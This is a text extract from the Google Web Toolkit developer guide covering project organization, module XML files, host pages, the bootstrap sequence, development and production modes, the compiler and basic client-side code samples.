GWT projects can be organized in a variety of ways. However, particular conventions are encouraged to make it easy to identify which code is intended to run on the client browser, the server, or both. This section describes the fundamentals of project organization with GWT as well as the recommended conventions. 1. 2. 3. 4. 5. 6. 7. 8. HTML Host Pages Standard Directory and Package Layout Modules: Units of configuration Module XML files How do I know which GWT modules I need to inherit? Automatic Resource Inclusion Filtering Public and Source Packages The Bootstrap Sequence
4.1.1.
GWT modules are stored on a web server as a set of JavaScript and related files. In order to run the module, it must be loaded from a web page of some sort. Any HTML page can include a GWT application via a SCRIPT tag. This HTML page is referred to as a host page from the GWT application's point of view. A typical HTML host page for an application written with GWT from scratch might not include any visible HTML body content at all. The example below shows how to embed a GWT application that will use the entire browser window.
<html> <head> <!-- Properties can be specified to influence deferred binding --> <meta name='gwt:property' content='locale=en_UK'> <!-- Stylesheets are optional, but useful --> <link rel="stylesheet" href="Calendar.css"> <!-- Titles are optional, but useful --> <title>Calendar App</title> </head> <body> <!-- This script tag is what actually loads the GWT module. The --> <!-- 'nocache.js' file (also called a "selection script") is --> <!-- produced by the GWT compiler in the module output directory --> <!-- or generated automatically in development mode. --> <script language="javascript" src="calendar/calendar.nocache.js"></script> <!-- Include a history iframe to enable full GWT history support --> <!-- (the id must be exactly as shown) --> <iframe src="javascript:''" id="__gwt_historyFrame" style="width:0;height:0;border:0"></iframe> </body> </html>
Note that the body of the page contains only a SCRIPT tag and an IFRAME tag. It is left to the GWT application to then fill in all the visual content. But GWT was designed to make it easy to add GWT functionality to existing web applications with only minor changes. It is possible to allow the GWT module to selectively insert widgets into specific places in an HTML page. To accomplish this, use the id attribute in your HTML tags to specify a unique identifier that your GWT code will use to attach widgets to that HTML element. For example:
163 / 469
<body> <!-- ... other sample HTML omitted <table align=center> <tr> <td id="slot1"></td> <td id="slot2"></td> </tr> </table> </body>
-->
Notice that the td tags include an id attribute associated with them. This attribute is accessible through the DOM class. You can easily attach widgets using the method RootPanel.get(). For example:
final Button button = new Button("Click me"); final Label label = new Label(); ... RootPanel.get("slot1").add(button); RootPanel.get("slot2").add(label);
In this manner, GWT functionality can be added as just a part of an existing page, and changing the application layout can be done in plain HTML. The I18N sample uses this technique heavily. A host HTML page does not have to be static content. It could also be generated by a servlet, or by a JSP page.
4.1.2.
GWT projects are overlaid onto Java packages such that most of the configuration can be inferred from the classpath and the module definitions.
164 / 469
Guidelines
If you are not using the Command-line tools to generate your project files and directories, here are some guidelines to keep in mind when organizing your code and creating Java packages. 1. Under the main project directory create the following directories: src folder - contains production Java source war folder - your web app; contains static resources as well as compiled output test folder - (optional) JUnit test code would go here 2. Within the src package, create a project root package and a client package. 3. If you have server-side code, also create a server package to differentiate between the client-side code (which is translated into JavaScript) from the server-side code (which is not). 4. Within the project root package, place one or more module definitions. 5. In the war directory, place any static resources (such as the host page, style sheets, or images). 6. Within the client and server packages, you are free to organize your code into any subpackages you require.
com.google.gwt. sample.dynatable
DynaTable.gwt.xml
com.google.gwt. sample.dynatable
com.google.gwt. sample.dynatable
logo.gif
com.google.gwt. sample.dynatable. client com.google.gwt. sample.dynatable. client com.google.gwt. sample.dynatable. client DynaTable.java
SchoolCalendarService.java
165 / 469
A detailed description of the war format is beyond the scope of this document, but here are the basic pieces you will want to know about: Directory DynaTable/war/ DynaTable/war/ File DynaTable.html DynaTable.css Purpose A host HTML page that loads the DynaTable app. A static style sheet that styles the DynaTable app. The DynaTable module directory where the GWT compiler writes output and files on the public path are copied. NOTE: by default this directory would be the long, fully-qualified module name com.google.gwt.sample.dynatable.DynaTab le. However, in our GWT module XML file we used the rename-to="dynatable" attribute to shorten it to a nice name. The "selection script" for DynaTable. This is the dynatable.nocache.js script that must be loaded from the host HTMLto load the GWT module into the page. All non-public resources live here, see the servlet specification for more detail. web.xml Configures your web app and any servlets. Java compiled class files live here to implement server side functionality. If you're using an IDE set the output directory to this folder. Any library dependencies your server code needs goes here. gwt-servlet.jar If you have any servlets using GWT RPC, you will need to place a copy of gwt-servlet.jar here.
DynaTable/war/dynatable/
DynaTable/war/dynatable/
166 / 469
4.1.3.
Individual units of GWT configuration are called modules. A module bundles together all the configuration settings that your GWT project needs: inherited modules an entry point application class name; these are optional, although any module referred to in HTML must have at least one entry-point class specified source path entries public path entries deferred binding rules, including property providers and class generators
Modules are defined in XML and placed into your project's package hierarchy. Modules may appear in any package in your classpath, although it is strongly recommended that they appear in the root package of a standard project layout.
Entry-Point Classes
A module entry-point is any class that is assignable to EntryPoint and that can be constructed without parameters. When a module is loaded, every entry point class is instantiated and its EntryPoint.onModuleLoad() method gets called.
Source Path
Modules can specify which subpackages contain translatable source, causing the named package and its subpackages to be added to the source path. Only files found on the source path are candidates to be translated into JavaScript, making it possible to mix client-side and server-side code together in the same classpath without conflict. When module inherit other modules, their source paths are combined so that each module will have access to the translatable source it requires. The default source path is the client subpackage underneath where the Module XML File is stored.
Public Path
Modules can specify which subpackages are public, causing the named package and its subpackages to be added to the public path. The public path is the place in your project where static resources referenced by your GWT module, such as CSS or images, are stored. When you compile your application into JavaScript, all the files that can be found on your public path are copied to the module's output directory. When referencing public resources in client code (for example, setting the URL of an Image widget, you should construct the URL like this: GWT.getModuleBaseURL() + "resourceName.png". When referencing public resources from a Module XML File, just use the relative path within the public folder, the module's base URL will be prepended automatically. When amodule inherits other modules, their public paths are combined so that each module will have access to the static resources it expects. The default public path is the public subdirectory underneath where the Module XML File is stored.
167 / 469
4.1.4.
Modules are defined in XML files with a file extension of .gwt.xml. Module XML files should reside in your project's root package. If you are using the standard project structure, your module XML can be as simple as the following example:
<module rename-to="dynatable"> <inherits name="com.google.gwt.user.User" /> <entry-point class="com.google.gwt.sample.dynatable.client.DynaTable" /> </module>
Loading modules
Module XML files are found on the Java classpath. Modules are always referred to by their logical names. The logical name of a module is of the form pkg1.pkg2.ModuleName (although any number of packages may be present). The logical name includes neither the actual file system path nor the file extension. For example, if the module XML file has a file name of...
~/src/com/example/cal/Calendar.gwt.xml
Renaming modules
The <module> element supports an optional attribute rename-to that causes the compiler to behave as though the module had a different name than the long, fully-qualified name. Renaming a module has two primary use cases: to have a shorter module name that doesn't reflect the actual package structure, this is the most typical and recommended use case to create a "working module" to speed up development time by restricting the number of permutations
com.foo.WorkingModule.gwt.xml:
<module rename-to="com.foo.MyModule"> <inherits name="com.foo.MyModule" /> <set-property name="user.agent" value="ie6" /> <set-property name="locale" value="default" /> </module>
When WorkingModule.gwt.xml is compiled, the compiler will produce only an ie6 variant using the default locale; this will speed up development compilations. The output from the WorkingModule.gwt.xml will be a drop-in replacement for MyModule.gwt.xml because the compiler will generate the output using the alternate name. (Of course, if com.foo.MyModule was itself renamed, you would just copy its rename-to attribute.)
168 / 469
Several linkers are provided by Core.gwt.xml, which is automatically inherited by User.gwt.xml. std : The standard iframe-based bootstrap deployment model. xs : The cross-site deployment model. sso : This Linker will produce a monolithic JavaScript file. It may be used only when there is a single distinct compilation result.
From Core.gwt.xml:
<module> <define-linker name="std" class="com.google.gwt.dev.linker.IFrameLinker" /> <define-linker name="sso" class="com.google.gwt.dev.linker.SingleScriptLinker" /> <define-linker name="xs" class="com.google.gwt.dev.linker.XSLinker" /> <add-linker name="std" /> </module>
169 / 469
This tells the compiler to add all subfolders of com/example/myproject/jre/ to the source path, but to strip off the path prefix up to and including jre. As a result, com/google/myproject/gwt/jre/java/util/UUID.java will be visible to the compiler as java/util/UUID.java, which is the intended result. The GWT project uses this technique internally for the JRE emulation classes provided with GWT. One caveat specific to overriding JRE classes in this way is that they will never actually be used in development mode. In development mode, the native JRE classes always supercede classes compiled from source. The <super-source> element supports pattern-based filtering to allow fine-grained control over which resources get copied into the output directory during a GWT compile.
170 / 469
Note: as of GWT 1.6, this tag does no longer loads servlets in development mode, instead you must configure a WEB-INF/web.xml in your war directory to load any servlets needed. <script src="js-url" /> : Automatically injects the external JavaScript file located at the location specified by src. See automatic resource inclusion for details. If the specified URL is not absolute, the resource will be loaded from the module's base URL (in other words, it would most likely be a public resource). <stylesheet src="css-url" /> : Automatically injects the external CSS file located at the location specified by src. See automatic resource inclusion for details. If the specified URL is not absolute, the resource will be loaded from the module's base URL (in other words, it would most likely be a public resource). <extend-property name="client-property-name" values="comma-separated-values" /> : Extends the set of values for an existing client property. Any number of values may be added in this manner, and client property values accumulate through inherited modules. You will likely only find this useful for specifying locales in internationalization.
Defining conditions
The <replace-with-class> and <generate-with-class> elements can take a <when...> child element that defines when this rule should be used, much like the WHERE predicate of an SQL query. The three different types of predicates are: <when-property-is name="property_name" value="value" /> : Deferred binding predicate that is true when a named property has a given value. <when-type-assignable class="class_name" /> : Deferred binding predicate that is true for types in the type system that are assignable to the specified type. <when-type-is class="class_name" /> : Deferred binding predicate that is true for exactly one type in the type system.
Several different predicates can be combined into an expression. Surround your <when...> elements using the following nesting elements begin/end tags: <all> when_expressions </all> : Predicate that ANDs all child conditions. <any> when_expressions </any> : Predicate that ORs all child conditions. <none> when_expressions </none> : Predicate that NANDs all child conditions.
171 / 469
4.1.5.
GWT libraries are organized into modules. The standard modules contain big pieces of functionality designed to work independently of each other. By selecting only the modules you need for your project (for example the JSON module rather than the XML module), you minimize complexity and reduce compilation time. Generally, you want to inherit at least the User module. The User module contains all the core GWT functionality, including the EntryPoint class. The User module also contains reusable UI components (widgets and panels) and support for the History feature, Internationalization, DOM programming, and more.
GWT 1.5 also provides several theme modules which contain default styles for widgets and panels. You can specify one theme in your project's module XML file to use as a starting point for styling your application, but you are not required to use any of them.
172 / 469
Themes
Module Chrome Dark Standard Logical Name com.google.gwt.user.theme.chrome.Chrome com.google.gwt.user.theme.dark.Dark com.google.gwt.user.theme.standard.Stand ard Module Definition Chrome.gwt.xml Dark.gwt.xml Standard.gwt.xml Contents Style sheet and images for the Chrome theme. Style sheet and images for the Dark theme. Style sheet and images for the Standard theme.
How To
To inherit a module, edit your project's module XML file and specify the logical name of the module you want to inherit in the <inherits> tag.
<inherits name="com.google.gwt.junit.JUnit"/>
Note: Modules are always referred to by their logical names. The logical name of a module is of the form pkg1.pkg2.ModuleName (although any number of packages may be present). The logical name includes neither the actual file system path nor the file extension.
4.1.6.
Modules can contain references to external JavaScript and CSS files, causing them to be automatically loaded when the module itself is loaded. This can be handy if your module is intended to be used as a reusable component because your module will not have to rely on the HTML host page to specify an external JavaScript file or stylesheet.
The script is loaded into the namespace of the host page as if you had included it explicitly using the HTML <script> element. The script will be loaded before your onModuleLoad() is called. Versions of GWT prior to 1.4 required a script-ready function to determine when an included script was loaded. This is no longer required; all included scripts will be loaded when your application starts, in the order in which they are declared.
You can add any number of stylesheets this way, and the order of inclusion into the page reflects the order in which the elements appear in your module XML.
173 / 469
See Also
Module XML Format
4.1.7.
The module XML format's <public>, <source> and <super-source> elements supports certain attributes and nested elements to allow pattern-based inclusion and exclusion in the public path. These elements follow the same rules as Ant's FileSet element. Please see the documentation for FileSet for a general overview. These elements do not support the full FileSet semantics. Only the following attributes and nested elements are currently supported: The includes attribute The excludes attribute The defaultexcludes attribute The casesensitive attribute Nested include tags Nested exclude tags
Important
The default value of defaultexcludes is true. By default, the patterns listed here are excluded.
4.1.8.
The following principles are needed to understand the sequence of operations that will occur in this page: <script> tags always block evaluation of the page until the script is fetched and evaluated. <img> tags do not block page evaluation. Most browsers will allow a maximum of two simultaneous connections for fetching resources. The body.onload() event will only fire once all external resources are fetched, including images and frames. 174 / 469
The GWT selection script (i.e. myApp/myApp.nocache.js) will be fetched and evaluated like a normal script tag, but the compiled script will be fetched asynchronously. Once the GWT selection script has started, its onModuleLoad() can be called at any point after the outer document has been parsed.
Applying these principles to the above example, we obtain the following sequence: 1. The HTML document is fetched and parsing begins. 2. Begin fetching bigImageZero.jpg. 3. Begin fetching externalScriptZero.js. 4. bigImageZero.jpg completes (let's assume). Parsing is blocked until externalScriptZero.js is done fetching and evaluating. 5. externalScriptZero.js completes. 6. Begin fetching bigImageOne.jpg and reallyBigImageTwo.jpg simultaneously. 7. bigImageOne.jpg completes (let's assume again). myApp/myApp.nocache.js begins fetching and evaluating. 8. myApp/myApp.nocache.js completes, and the compiled script (<hashname>.cache.html) begins fetching in a hidden IFRAME (this is non-blocking). 9. <hashname>.cache.html completes. onModuleLoad() is not called yet, as we're still waiting on externalScriptOne.js to complete before the document is considered 'ready'. 10. externalScriptOne.js completes. The document is ready, so onModuleLoad() fires. 11. reallyBigImageTwo.jpg completes. 12. body.onload() fires, in this case showing an alert() box. This is a bit complex, but the point is to show exactly when various resources are fetched, and when onModuleLoad() will be called. The most important things to remember are that You want to put the GWT selection script as early as possible within the body, so that it begins fetching the compiled script before other scripts (because it won't block any other script requests). If you are going to be fetching external images and scripts, you want to manage your two connections carefully. <img> tags are not guaranteed to be done loading when onModuleLoad() is called. <script> tags are guaranteed to be done loading when onModuleLoad() is called.
175 / 469
4.2.
Let's start with the core principle of GWT development: 1. If your GWT application runs in development mode as you expect... 2. and the GWT compiler successfully compiles your application into JavaScript... 3. then your application will work the same way in a web browser as it did in development mode. The rest of this section introduces development mode (previously called "hosted mode") and production mode (previously called "web mode") and explains how and when to use each. 1. Debugging in Development Mode 1. Launching an application in development mode 2. GWT Development Mode 3. Launching a Browser 4. Generating debug messages in development mode: GWT.log() 5. Enabling internal GWT debug messages 6. Using an IDE with Development Mode 7. An Example Launch 8. Language differences between production mode and development mode 9. Using EJBs in development mode 10. Using my own server in development mode instead of GWT's built-in Jetty instance 11. Development Mode Options 2. Running in Production Mode 3. Understanding the GWT Compiler 1. Key application files 2. Public Resources 3. Perfect Caching 4. GWT Compiler Options
4.2.1.
You will spend most of your development time running your application in development mode, which means that you are interacting with your GWT application without it having been translated into JavaScript. Anytime you edit, run, and debug applications from a Java integrated development environment (IDE), you are working in development mode. When an application is running in development mode, the Java Virtual Machine (JVM) is actually executing the application code as compiled Java bytecode, using GWT plumbing to connect to a browser window. This means that the debugging facilities of your IDE are available to debug both your client-side GWT code and any server-side Java code as well. By remaining in this traditional "code-test-debug" cycle, development mode is by far the most productive way to develop your application quickly. A typical development mode session can be seen below:
176 / 469
177 / 469
Launching a Browser
As of GWT 2.0, development mode uses a regular browser instead of an embedded browser. You can use any supported browser, including ones on other machines, as long as it has the GWT Developer Plugin installed. If you use a browser that does not have the plugin installed, you will get a message with an offer to download the plugin. Browsers are typically opened automatically via the -startupUrl command line option (though GWT will try to find plausible startup URLs if you do not supply any). To launch an application, choose the URL you want to use, and choose Launch Default Browser. GWT uses a number of heuristics to determine which browser to use, but depending on your setup it may not launch the one you want. In that case, you can choose Copy to Clipboard and the URL you need to launch will be copied to the system clipboard (and will also be shown in the log window). You can then paste this URL into any browser with the plugin installed, or you can type in the URL to a browser on a different machine (in which case you will have to change the host names in the URL as necessary).
When a module is loaded in a browser, you will see a new tab which contains the the logs for one URL in a particular browser. If there are multiple modules on one page, there will be a drop-down box to select which module's logs are shown. When you refresh a page, there is a session drop-down box which lets you select which session's logs to show.
178 / 469
Calls to GWT.log() are intended just for use while debugging your application. They are optimized out in production mode. For example, consider the following change to the onClick() method intended to intentionally trigger an exception:
179 / 469
public void onClick(Widget sender) { GWT.log("User pressed a button.", null); Object nullObject = null; nullObject.toString(); // Should cause NullPointerException
When the application encounters an exception, a message is printed on the module's log window. The exception is highlighted with a red icon. In this example, when you click on the button in the browser window, a NullPointerException is triggered and the back trace for the exception displays in the status area below the log area. Clicking on the exception message or icon displays the full text of the exception in the message area below.
180 / 469
An Example Launch
Let's look behind the scenes when you launch your GWT application in development mode. To run development mode, you start a Java VM using the main class com.google.com.gwt.dev.DevMode. If you look inside a generated ant build.xml, you'll find something like this:
<target name="devmode" depends="javac" description="Run development mode"> <java failonerror="true" fork="true" classname="com.google.gwt.dev.DevMode"> <classpath> <pathelement location="src"/> <path refid="project.class.path"/> </classpath> <jvmarg value="-Xmx256M"/> <arg value="-startupUrl"/> <arg value="Hello.html"/> <!-- Additional arguments like -style PRETTY or -logLevel DEBUG --> <arg value="com.google.gwt.sample.hello.Hello"/> </java> </target>
181 / 469
The -startupUrl parameter tells Development Mode which URL(s) to make available for launching. If the value excludes the domain, the domain is assumed to be localhost. The port is assumed to be the port running the embedded server. In the example above, this address is http://localhost:8888/Hello.html (with an additional parameter giving the location of the development mode code server). The final parameter (the one at the end with no flag preceding it) is the module or set of modules we care about. This value is required in order to correctly initialize the war directory with bootstrap scripts for any GWT modules you may wish to run.
Using my own server in development mode instead of GWT's built-in Jetty instance
If you do not need to use, or prefer not to use, the Jetty instance embedded in GWT's development mode to serve up your servlets for debugging, you can use the -noserver flag to prevent Jetty from starting, while still taking advantage of development mode for debugging your GWT client code. If you need the -noserver option, it is likely because your server-side code that handles your XMLHTTPRequest data requests requires something more, or just something different than Jetty. Here are some example cases where you might need to use -noserver: You need an EJB container, which the embedded Jetty server does not support. You have an extensive Servlet configuration (with custom web.xml and possibly server.xml files) that is too inconvenient to use with the embedded Jetty. You are not using J2EE on the server at all (for example, you might be using JSON with Python).
When using the -noserver flag, your external server is used by the GWT Development Mode browser to serve up both your dynamic content, and all static content (such as the GWT application's host page, other HTML files, images, CSS, and so on.) This allows you to structure your project files in whatever way is most convenient to your application and infrastructure. Though your own external server handles all static content and dynamic resources, all browser application logic continues to be handled in Java, internal to development mode. This means that you can continue to debug your clientside code in Java as usual, but all server-side requests will be served by your web or application server of choice. (If you are using an IDE such as Eclipse configured to integrate with GWT's development mode for debugging, then using -noserver will prevent you from automatically debugging your server code in the same debugger instance you use to debug development mode. However, if the server software you use supports it, you can of course use an external debugging tools.) Here is a step-by-step description of how to use -noserver: 1. Configure your server however you need to; note the URL which contains the host page for your GWT application. 2. Arrange all your static content files (such as the host HTML page, images, CSS, etc.) on the server however you like. 182 / 469
3. Edit your development mode execution script (such as your Eclipse run configuration or the ant development build target generated by the GWT webAppCreator) and add or update the following options: Add the -noserver command line argument. Change the URL at the end of the argument list to match the URL you recorded in step #1. 4. Compile your application once using the ant build target. Ideally, you can use GWT's -war option to generate output files directly into your external server's static content folder. Otherwise, you'll need to copy the the GWT output folder from war/<moduleName> to your external server's static content. Be careful not to omit copying the files in Step #4: This is an action you'll only have to do once, but is a necessary step. However, one important point to note is that you may need to replace the .gwt.rpc file if your application uses GWT RPC and if the types that your application serializes across the wire implement the java.io.Serializable interface. If these types are changed, or new serializable types are added to your RPC calls, the GWT compiler will generate a new .gwt.rpc file. You will need to replace the old file deployed on your web server with the newly generated file. However, if your web server targets the GWT compiler's war output directory as the war directory for your application, you will not need to re-compile for these changes, and development mode will take care of generating and correctly placing the *.gwt.rpc file.
Any time you want to look up the development mode options available for your version of GWT, you can simply invoke the DevMode class from command-line as shown above and it will list out the options available along with their descriptions. (Run the command from the directory containing gwt-dev.jar or add the path ahead of that file: -cp path/gwt-dev.jar.)
183 / 469
4.2.2.
After you have your application working well in development mode, you will want to try out your application in your target web browsers; that is, you want to run it in production mode. Running your application in production mode allows you to test your application as it is deployed. If you have a servlet component specified in your web.xml file, your GWT RPC calls will also be served to the browser. You can also take a different browser or a browser running on another machine and point it at the same URL (substitute the hostname or IP address of your workstation for localhost in the URL.) Running in production mode is a good way to test: The performance of your application Development mode uses a special engine to run your app as a mix of both Java bytecode and native JavaScript. If your code makes many calls back and forth between Java and and JavaScript, your code may seem slower in development mode than it will actually be in production mode. This can be particularly true of UI code. On the other hand, intense algorithmic pure Java code will tend to run faster in development mode, since the JVM outperforms most JavaScript engines. If your application displays lots of data or has a large number of widgets, you will want to confirm that performance will be acceptable when the application is finally deployed. How your application looks on different browsers Because GWT widgets use a browser's native DOM components, the look and feel of your application might change from browser to browser. More importantly, if you are using a style sheet, you will want to inspect your application carefully on each browser. How your application logic performs on different browsers GWT is designed to provide cross-browser support so that the average GWT developer does not need to worry about cross-browser support. But if you are a widget author or if you are using a third party JavaScript library, you will need to confirm that these components are working correctly on each target browser you plan to support.
4.2.3.
The heart of GWT is a compiler that converts Java source into JavaScript, transforming your working Java application into an equivalent JavaScript application. The GWT compiler supports the vast majority of the Java language. The GWT runtime library emulates a relevant subset of the Java runtime library. If a JRE class or method is not supported, the compiler will emit an error. You can run the compiler with the name of the module you want to compile in one of the following manners: Run the main class com.google.gwt.dev.Compiler using java from the command-line. If you used the webAppCreator script to create your project, you can use Ant to run the generated build.xml. If you are using the Google Plugin for Eclipse, you can compile your application by clicking GWT Compile Project button .
Once compilation completes sucessfully, directories will be created containing the JavaScript implementation of your project. The compiler will create one directory for each module it compiles.
C:\gwt-2.0.0\samples\Hello>ant Buildfile: build.xml libs: javac: gwtc: [java] Compiling module com.google.gwt.sample.hello.Hello [java] Compiling 5 permutations [java] Permutation compile succeeded [java] Linking into war [java] Link succeeded [java] Compilation succeeded -- 20.313s build: BUILD SUCCESSFUL Total time: 22 seconds
After running the GWT compiler your war directory should look something like this:
184 / 469
C:\gwt-2.0.0\samples\Hello>\bin\find war war war\hello war\hello\18EEC2DA45CB5F0C2050E2539AE61FCE.cache.html war\hello\813B962DC4C22396EA14405DDEF020EE.cache.html war\hello\86DA1DCEF4F40731BE71E7978CD4776A.cache.html war\hello\A37FC20FF4D8F11605B2C4C53AF20B6F.cache.html war\hello\E3C1ABB32E39A126A9194DB727F7742A.cache.html war\hello\14A43CD7E24B0A0136C2B8B20D6DF3C0.cache.png war\hello\548CDF11D6FE9011F3447CA200D7FB7F.cache.png war\hello\9DA92932034707C17CFF15F95086D53F.cache.png war\hello\A7CD51F9E5A7DED5F85AD1D82BA67A8A.cache.png war\hello\B8517E9C2E38AA39AB7C0051564224D3.cache.png war\hello\clear.cache.gif war\hello\hello.nocache.js war\hello\hosted.html war\Hello.html
In the above example, war/hello/hello.nocache.js is the script you would include in a host HTML page to load the Hello application. In this case, the host HTML page is located at war/Hello.html and loads the GWT startup script through the relative URL hello/hello.nocache.js. You may have noticed in the compilation target in the build.xml file generated by the webAppCreator uses the war output directory as both an input and output source. This doesn't have to be the case, and you can easily configure the war directory as the output directory only, while using other directories as source directory paths by adding build targets to copy static resources from the source to the final output directory. See this war directory FAQ for more details. The other thing you may have noticed is that there are a number of other files generated along with the GWT compiler output. Of these there are a few that are key to deploying your application.
If you've worked with GWT prior to the 1.6 release, the files in the war/hello directory are familiar to you. The only difference is where these files are now generated, and the fact that the host HTML page and CSS files are not in the same directory as the rest of the .cache.html/png files. The path where these files are generated is controlled by the GWT module XML file. These are the key applications files to deploy you GWT application on your web server. 185 / 469
The host HTML page The host HTML page is the first page your clients should visit when they browse to your application and is also where the rest of your application files are loaded from. To load your application, the host HTML page must contain a <script> tag referencing your GWT application bootstrap file (described below). You would typically include a <link> tag referencing your application CSS file as well, unless you inject the stylesheet directly by adding the <stylesheet> tag to your module XML file. You could also load the script from anywhere else in a website, but the default start page is typically the entry point that developers use to load their GWT applications. The host page from the Hello starter sample application mentioned above is shown below.
<html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <link type="text/css" rel="stylesheet" href="Hello.css"> <title></title> </head> <body> <script type="text/javascript" language='javascript' src='hello/hello.nocache.js'></script> <!-- Along with page title and table headers defined --> </body> </html>
The Bootstrap File You may have noticed that one of the generated files is named after your module, followed by a .nocache.js suffix. This is the GWT bootstrap file. Similar to the output subdirectory war/<app_name>, the name of this file is also controlled by the rename-to attribute in your module XML file. This file is responsible for choosing the correct version of your application to load for your client based on their browser and locale, or any other custom selection rule (see Deferred Binding). The various versions of your application compliant to each browser / locale are the <md5>.cache.html application files (discussed below). The host HTML page references this file so that clients visiting your page first download the bootstrap, and the bootstrap script in turn figures out which browser environment it is running in and determines the appropriate version of your application to load. See the documentation on the bootstrap process for more details. Application Files The <md5>.cache.html files generated in the war/<app_name> directory, along with the bootstrap script, are the most important part of the generated fileset. They represent one version of your application tailored to a specific browser (or locale). These are the application files that the bootstrap script selects after it determines which browser it's running on. Another generated application file that isn't strictly necessary to deploy your GWT application, but required if you're using GWT RPC and the support for the Serializable interface for types transferred through RPC, is the <md5>.gwt.rpc file. The serialization policy file must be accessible by your RPC RemoteServiceServlet via the ServletContext.getResource() call.
Public Resources
All public resources, such as image files, stylesheets or XML files, can be placed anywhere under the war directory or any subdirectory therein during development. As long as references to these resources in your GWT application code hold when deployed, you can expect your application to work properly in production. In GWT 1.6 and later, the <public> tag is still respected, so you can place public resources in a public directory, as defined in your module XML file, and these resources will be copied into the war/<app_name> folder. However, the best practice would be to place public resources in the war directory and work with them from that location. This complies with the standard Servlet 2.5 API specification, and makes it easier to deploy your application if you're planning to deploy on a servlet container. If you're using ClientBundle in your application, the generated bundles are placed in the war/<app_name> directory after compilation.
Perfect Caching
Among other optimization and performance improvement techniques, GWT also offers the concept of "Perfect Caching", which you can take advantage of if you deploy your application correctly. You may have noticed that the bootstrap script filename contains a .nocache.js suffix, whereas the rest of the GWT 186 / 469
application files contain a .cache.html suffix. These are meant as indicators that you can use to configure your web server to implement perfect caching. The bootstrap script is named after a well-known application name (<app_name>.nocache.js), while the GWT application files all contain md5 sums in their names. Those md5 sums are computed from your GWT codebase at the time of compilation. The bootstrap script contains a lookup table that selects the right <md5>.cache.html file when your client first visits your site and loads up your GWT application. The bootstrap process is explained in greater detail here. The fact that the application filenames will always change if your codebase changes means that your clients can safely cache these resources and don't need to refetch the GWT application files each time they visit your site. The resource that should never be completely cached (an If-Modified-Since fetch is sufficient and saves bandwidth) is the bootstrap script, since it contains the logic necessary to lookup the correct application file. If you were to configure these rules on an Apache HTTP server, you might get something like this in your .htaccess config file, using both mod_expires and mod_headers:
<Files *.nocache.*> ExpiresActive on ExpiresDefault "now" Header merge Cache-Control "public, max-age=0, must-revalidate" </Files> <Files *.cache.*> ExpiresActive on ExpiresDefault "now plus 1 year" </Files>
Any time you want to look up GWT compiler options available for your version of GWT, you can simply invoke the Compiler class from command-line as shown above and it will list out the options available along with their descriptions. (Run the command from the directory containing gwt-dev.jar or add the path ahead of that file: -cp path/gwtdev.jar.)
187 / 469
4.3.
Coding Basics
Client-side code
Client-side code describes how to create an entry point into a client-side application code that executes when the user starts the application. When your application is sent across a network to a user, it runs as JavaScript inside their web browser.
History
History describes how to integrate Ajax applications with the browser history. Ajax applications sometimes fail to meet user's expectations because they do not interact with the browser in the same way as static web pages. It is often apparent and frustrating for users when an Ajax application does not integrate with browser history. For example, users expect browsers to be able to navigate back to previously visited pages using back and forward actions. Because an Ajax application is a usually a single page running JavaScript logic and not a series of pages, the browser history needs help from the application to support this use case. GWT's history mechanism makes history support fairly straightforward.
188 / 469
Occasionally you may need to access low-level browser functionality not exposed by the GWT class API's. The JavaScript Native Interface (JSNI) feature of GWT can solve both of these problems by allowing you to integrate JavaScript directly into your application's Java source code.
Deferred Binding
Deferred Binding is a feature of the GWT compiler that works by generating many versions of code at compile time, only one of which needs to be loaded by a particular client during bootstrapping at runtime. Each version is generated on a per browser basis, along with any other axis that your application defines or uses. For example, if you were to internationalize your application using GWT's Internationalization module, the GWT compiler would generate various versions of your application per browser environment, such as "Firefox in English", "Firefox in French", "Internet Explorer in English", and so forth. As a result, the deployed JavaScript code is compact and quicker to download than hand coded JavaScript, containing only the code and resources it needs for a particular browser environment.
4.3.1.
Client-Side Code
Your application is sent across a network to a user where it runs as JavaScript inside their web browser. Everything that happens within the user's web browser is referred to as client-side processing. When you write client-side code that is intended to run in the web browser, remember that it ultimately becomes JavaScript. Thus, it is important to use only libraries and Java language constructs that can be translated into JavaScript. 1. Creating an EntryPoint Class 2. Hello World Example
package com.example.foo.client; import com.google.gwt.core.client.EntryPoint; import com.google.gwt.core.client.GWT; /** * Entry point classes define onModuleLoad(). */ public class Foo implements EntryPoint { /** * This is the entry point method. Initialize you GWT module here. */ public void onModuleLoad() { // Writes Hello World to the module log window. GWT.log("Hello World!", null); } }
189 / 469
The example above logs a message to the development mode console. If you try to run this example application in production mode, you won't see anything because the GWT.log() method is compiled away when the client-side code is translated into JavaScript.
190 / 469
package com.google.gwt.sample.hello.client; import com.google.gwt.core.client.EntryPoint; import com.google.gwt.event.dom.client.ClickEvent; import com.google.gwt.event.dom.client.ClickHandler; import com.google.gwt.user.client.Window; import com.google.gwt.user.client.ui.Button; import com.google.gwt.user.client.ui.RootPanel; import com.google.gwt.user.client.ui.Widget; /** * Hello World application. */ public class Hello implements EntryPoint { public void onModuleLoad() { Button b = new Button("Click me", new ClickHandler() { public void onClick(ClickEvent event) { Window.alert("Hello, AJAX"); } }); RootPanel.get().add(b); } }
In the entry point method for the Hello World application, the following actions were taken: a new Button widget was created with the text "Click me" a handler was created to respond to the user clicking the button the handler pops up an Alert dialog the button is added to the Root panel
4.3.2.
1. 2. 3. 4.
Language support Runtime library support Differences between JRE and emulated classes Classes that provide similar functionality
Language support
GWT supports most of the core Java language syntax and semantics, but there are a few differences you will want to be aware of. Note: As of GWT 1.5, GWT compiles the Java language syntax that is compatible with J2SE 1.5 or earlier. Versions of GWT prior to GWT 1.5 are limited to Java 1.4 source compatibility. For example, GWT 2.0 supports generics, whereas GWT 1.4 does not. It is important to remember that the target language of your GWT application is ultimately JavaScript, so there are some differences between running your application in development mode and production mode (previously known as hosted mode and web mode, respectively): Intrinsic types: Primitive types (boolean, byte, char, short, int, long, float, and double), Object, String, arrays, user-defined classes, etc. are all supported, with a couple of caveats. Arithmetic: In JavaScript, the only available numeric type is a 64-bit floating point value. All Java primitive numeric types (except for long, see below), are therefore implemented in production mode as if on doubles. Primarily, that means overflowing an integral data type (byte, char, short, int) will not wrap the underlying value as Java specifies. Instead, the resulting value will outside of the legal range for that data type. Operations on float are performed as double and will result in more-thanexpected precision. Integer division is implemented to explicitly round to the correct value. long: JavaScript has no 64-bit integral type, so long needs special consideration. Prior to GWT 1.5, the long type was was simply mapped to the integral range of a 64-bit JavaScript floating-point value, giving long variables an actual range less than the full 64 bits. As of GWT 1.5, long primitives are emulated as a pair of 32-bit integers, and work reliably over the 